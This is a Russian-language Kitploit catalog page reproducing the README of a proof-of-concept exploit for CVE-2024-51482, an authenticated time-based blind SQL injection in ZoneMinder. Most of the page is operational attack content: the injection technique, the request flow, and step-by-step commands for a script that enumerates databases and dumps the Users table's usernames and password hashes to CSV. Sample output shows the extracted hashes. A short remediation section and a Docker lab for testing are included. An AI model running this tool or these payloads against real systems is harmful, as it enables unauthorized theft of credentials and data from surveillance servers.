Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51482-POC — PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных. | Kitploit
Инструменты/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных.

Репозиторий
764 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.


Содержание

  • ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482
    • Содержание
    • Обзор
    • Детали уязвимости
      • CVE-2024-51482 — Time-Based Blind SQL Injection
      • Корневая причина
      • Вектор атаки
    • Структура репозитория
  • Требования
  • Установка
    • PoC
    • Docker Lab
  • Использование
    • Поведение по умолчанию
    • Экран справки
    • Команды
    • Параметры вывода
    • Справочник флагов
    • Полный пример
    • Заметки
    • Docker Lab
  • Пример вывода
  • Устранение
    • Для этой CVE
    • Для аналогичных уязвимостей
  • График раскрытия
  • Ссылки

  • Обзор

    Этот репозиторий содержит PoC time-based SQL инъекции, нацеленной на ZoneMinder.

    Инструмент позволяет:

    • Проверку уязвимости
    • Перечисление баз данных
    • Обнаружение таблиц и столбцов
    • Полный дамп таблиц
    • Экспорт в CSV

    Также включает полностью воспроизводимую Docker-лабораторию для безопасного тестирования.


    Детали уязвимости

    CVE-2024-51482 — Time-Based Blind SQL Injection

    • CVE ID: CVE-2024-51482
    • CVSS v3.1 Score: 10.0 (Critical)
    • Тип уязвимости: Time-Based Blind SQL Injection
    • Затронутые версии: ZoneMinder v1.37.* <= 1.37.64
    • Вектор атаки: Аутентифицированный эндпоинт (removetag)
    • Воздействие: Полное раскрытие базы данных, компрометация целостности данных
    • Требуется аутентификация: Да (достаточно пользователя с низкими привилегиями)

    Корневая причина

    ZoneMinder — это бесплатное программное обеспечение с открытым исходным кодом для систем видеонаблюдения. Уязвимость возникает из-за недостаточной проверки входных данных в эндпоинте removetag. Вводимые пользователем данные напрямую включаются в SQL-запросы без должной санитизации или параметризации, что позволяет злоумышленникам внедрять вредоносные boolean-based SQL-нагрузки. Эксплойт использует:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    для извлечения данных через задержки ответа.

    Фрагмент уязвимого кода из уведомления разработчиков Github:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Вектор атаки

    root@kitploit:~
    Атакующий                              Веб-приложение ZoneMinder
       │                                         │
       │  [Auth]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← аутентифицированная сессия
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               Выполнение SQL boolean-запроса
       │                               IF(условие, без задержки, SLEEP)
       │◄────────────────────────────────────────│
       │  Задержанный ответ (timing oracle)      │  ← условие определено
       │                                         │
       │  Повторные запросы                      │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Различия во времени раскрывают символы │
       │                                         │
       │  Бинарный поиск по каждому символу      │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Извлечённые данные (по 1 символу)      │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Полное раскрытие базы данных           │
       │                                         │
       ✓  Полная эксфильтрация данных через blind SQLi
    

    Структура репозитория

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Требования

    • Python 3.8+
    • requests
    • Docker и docker-compose (для лабораторной среды)

    Установка

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Docker Lab

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Настройте переменные окружения
    docker compose up -d
    

    Использование

    Поведение по умолчанию

    Без указания флагов инструмент аутентифицируется на цели, проверяет её уязвимость и, если она уязвима, выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users (команда dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Экран справки

    root@kitploit:~
    python exploit.py -h
    

    Команды

    check

    Только проверяет, уязвима ли цель.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users. Команда по умолчанию, если не указана другая.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Выводит все базы данных.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Выводит таблицы в указанной базе данных.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Выводит столбцы указанной таблицы.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Выполняет дамп всех данных из указанной таблицы.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    Также можно указать столбцы для дампа (по умолчанию — все):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Параметры вывода

    Отключить вывод в терминал

    root@kitploit:~
    --no-display
    

    Экспорт в CSV

    Если файл не существует, он будет создан. Если уже существует, новые результаты будут добавлены.

    root@kitploit:~
    --outfile results.csv
    

    Справочник флагов

    Цель и аутентификация

    ФлагОписаниеПример
    -t, --targetБазовый URL цели-t http://localhost:8080
    -u, --userИмя пользователя для аутентификации-u admin
    -p, --passwordПароль для аутентификации-p admin
    --cookieИспользовать существующий cookie ZMSESSID вместо входа--cookie abc123...

    Основные команды

    КомандаОписаниеПример
    checkПроверить, уязвима ли цель (time-based SQLi)check
    dump-usersВыполнить дамп таблицы zm.Users напрямуюdump-users
    list-dbВывести список всех баз данныхlist-db
    list-tablesВывести таблицы из базы данныхlist-tables --db zm
    list-columnsВывести столбцы из таблицыlist-columns --db zm --table Users
    dump-tableВыполнить дамп указанной таблицыdump-table --db zm --table Users

    Параметры команд

    ФлагОписаниеОбязательностьПример
    --dbИмя базы данныхДа (для операций с таблицами/столбцами)--db zm
    --tableИмя таблицыДа (для дампа/столбцов)--table Users
    --columnsСписок столбцов через запятую для дампаНеобязательно--columns Username,Password

    Производительность и эксплуатация

    ФлагОписаниеПо умолчаниюПример
    --threadsКоличество параллельных потоков извлечения5--threads 6
    --delayЗадержка, используемая для time-based SQLi3--delay 2
    --no-checkПропустить проверку уязвимости перед эксплуатациейFalse--no-check

    Параметры вывода

    ФлагОписаниеПример
    --outfileСохранить вывод в CSV-файл--outfile results.csv
    --no-displayОтключить вывод в терминал--no-display

    Логирование и отображение

    ФлагОписаниеПо умолчаниюПример
    -v, --verboseВключить отладочное логированиеFalse-v
    --log-fileПуть к файлу логаlogs/exploit.log--log-file out.log
    --no-colorОтключить цветной выводFalse--no-color

    Полный пример

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Заметки

    • Все команды требуют аутентификации (cookie или учётные данные).
    • dump-users — это сокращение для дампа таблицы zm.Users.
    • Многопоточность значительно ускоряет извлечение, но может увеличить нагрузку на цель. 5 потоков и задержка в 3 секунды — безопасные значения по умолчанию. Используйте собственные значения с осторожностью.
    • Вывод CSV поддерживает как структурированные, так и плоские данные (например, список баз данных против полных дампов таблиц).
    • Используйте --no-check, только если вы уверены, что цель уязвима.

    Docker Lab

    Включённый docker-compose.yml настраивает уязвимый экземпляр ZoneMinder.

    root@kitploit:~
    cp .env.example .env  # Настройте переменные окружения
    docker compose up -d
    

    Получите доступ к веб-интерфейсу по адресу http://localhost:8080/ (или вашему собственному порту). Учётные данные по умолчанию: admin:admin. Затем вы можете запустить эксплойт против этого локального экземпляра для тестирования.


    Пример вывода

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] Target URL: http://localhost:8080/
    [∗] Module : dump-table
    [∗] Output will be saved to: ./out.csv
    
    [∗] Attempting to log in with username/password authentication
     🡲  Credentials: admin:admin
    [+] Successfully authenticated as user admin
    
    [∗] Testing target vulnerability...
    [+] Target appears to be vulnerable (response time indicates successful injection).
    
    [∗] Dumping contents of table zm.Users...
    [+] Found columns: Username, Password
    [∗] Retrieving number of rows in the table...
    [+] Table contains 2 rows. Starting dump...
    
    [∗] Progress: 5/5 | admin
    [∗] Progress: 60/60 | $2h$12$NHZs...
    [+] Retrieved row 1 : admin, $2h$12$NHZs...
    
    [∗] Progress: 4/4 | flag
    [∗] Progress: 60/60 | $2y$10$1Ei....
    [+] Retrieved row 2 : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Results written to ./out.csv
    [+] Work done. Bye!
    

    Устранение

    Для этой CVE

    • Обновитесь до ZoneMinder v1.37.65 или новее, который содержит исправление для CVE-2024-51482.

    Для аналогичных уязвимостей

    • Внедрите надлежащую проверку входных данных и санитизацию всех данных, предоставляемых пользователем.
    • Используйте параметризованные запросы или подготовленные выражения для предотвращения SQL-инъекций.

    График раскрытия

    • 2024-10-31: Пользователь Entropt и пользователь connortechnology раскрывают уязвимость на GitHub ZoneMinder.
    • 2024-11-01: Патч зафиксирован в репозитории ZoneMinder.
    • 2025-02-13: Тег версии 1.37.65.

    Ссылки

    • CVE-2024-51482 Details
    • NIST NVD Entry
    • ZoneMinder Official Website
    • ZoneMinder GitHub Maintainer Security Advisory
    • Fix commit in ZoneMinder GitHub
    • OWASP SQL Injection Prevention Cheat Sheet
    Скачать инструмент